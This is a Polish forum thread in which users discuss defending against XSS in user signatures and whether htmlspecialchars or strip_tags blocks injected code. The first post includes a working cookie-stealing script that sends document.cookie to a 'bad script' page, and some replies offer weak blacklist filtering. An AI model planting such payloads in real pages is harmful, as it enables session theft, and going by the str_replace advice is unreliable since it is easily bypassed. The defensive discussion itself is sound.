Tak sobie myślę, że w większości for jest podpis użytkownika. Niektóre fora nie filtrują podpisów (np. mogę dać w podpisie obrazek itp.) a jakby tak dać:

[HTML] pobierz, plaintext 
<script type="text/javascript">
var adr = 'zly_skrypt.php?ciasteczka=' + escape(document.cookie);
var obr = '<IMG src="' + adr + '">';
document.write(obr);
</SCRIPT>
[HTML] pobierz, plaintext 

To się chyba nazywa atak XSS.

Jak się przed tym zabezpieczyć, aby np. akceptował obrazki, odnośniki itp. a nie akceptował "złych skryptów"?

Daj tylko dozwolone znaki - bbCode.

Ja na poczatek wywalam (przy pomocy str_replace()) z danych od uzytkownika ciag '<script'

Wrócę może do tego tematu bo mam konkretne pytanie do tego posta - chodzi mi o to czy wystarczy walidować każdą otrzymaną zmienną funkcją htmlspecialchars, żeby nie można było wykonać kod np. java script albo wstawić kod php? Chodzi mi dokladnie o cos takiego. mamy strone:

index.php?roz=<a href="http://sotrna/zlosliwy_kod.php"></a>

[PHP] pobierz, plaintext 
<?php
Rozdzielczosc ekranu to:
$roz = $_GET['height'];
print($roz);
?>
[PHP] pobierz, plaintext 

Czy jak użyje htmlspecialchars($roz) to uchroni mnie to na 100% przed atakiem wpisania w zmienna złośliwego kodu??

A co jeśli zamiast '<script' będzie '< script'? ...bo coś mi się wydaje, że przeglądarka to łyknie a str_replace() nie bardzo



htmlspecialchars() wyświetla znaki specjalne a nie ich interpretację. Po co wyświetlać np.

[HTML] pobierz, plaintext 
<a href="jestemzly.php">zuuuło</a>
[HTML] pobierz, plaintext 

Jak takie coś Ci odpowiada to okej ale lepiej użyć strip_tags(), które usunie znaczniki php i html.

Rozwiązanie zaproponowane przez Ociu wydaję się najlepsze jednak proponowałbym jeszcze zwrócić uwagę na obecność "%" w przesyłanych danych. Czasami może zdarzyć się, że zapisując niektóre znaki w ASCII czy UNICODE uda się ominąć niektóre zabezpieczenia

A mi się wydaje że tego przeglądarka może nie łyknąć ale to jest tylko moja sugestia, spróbuj i napisz jak Ci poszło, liczę że pomimo moich myśli będzie wszystko

użyłem htmlspecialchars i wyswietla mi wartość zmiennej -> zamiast > pokazuje &gt;

Kwestia jest teraz taka czy da sie to jakoś obejść czy już nie ma możliwości??

Przecież na tym polega działanie tej funkcji, zamiana 'niebezpiecznych' znaków na encje..

Przegladarka tego nie lyknie, sprawdz

htmlspecialchars() tez jest w tym przypadku ok, bo wtedy '<script' po prostu sie wyswietli jak kazdy inny ciag.

Fakt, trochę mnie fantazja poniosła